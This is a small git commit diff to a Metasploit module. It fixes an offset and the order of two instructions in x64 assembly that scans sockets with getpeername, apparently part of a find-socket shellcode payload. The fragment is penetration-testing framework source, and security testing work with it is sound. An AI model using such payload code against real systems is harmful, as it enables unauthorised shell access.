fix little mistake

unstable
Maciej Kotowicz 2012-03-15 16:21:00 +01:00
parent f91b894375
commit 0389e47dfe
1 changed files with 2 additions and 2 deletions

View File

@ -35,7 +35,7 @@ module Metasploit3
{ {
'Offsets' => 'Offsets' =>
{ {
'CPORT' => [ 29, 'n' ], 'CPORT' => [ 32, 'n' ],
}, },
'Assembly' => <<EOS 'Assembly' => <<EOS
@ -49,8 +49,8 @@ find_port:
push 0x34 ; getpeername push 0x34 ; getpeername
pop rax pop rax
syscall syscall
cmp word [rsi+2],0x4142
inc rdi inc rdi
cmp word [rsi+2],0x4142
jne find_port jne find_port
dec rdi dec rdi
push 2 push 2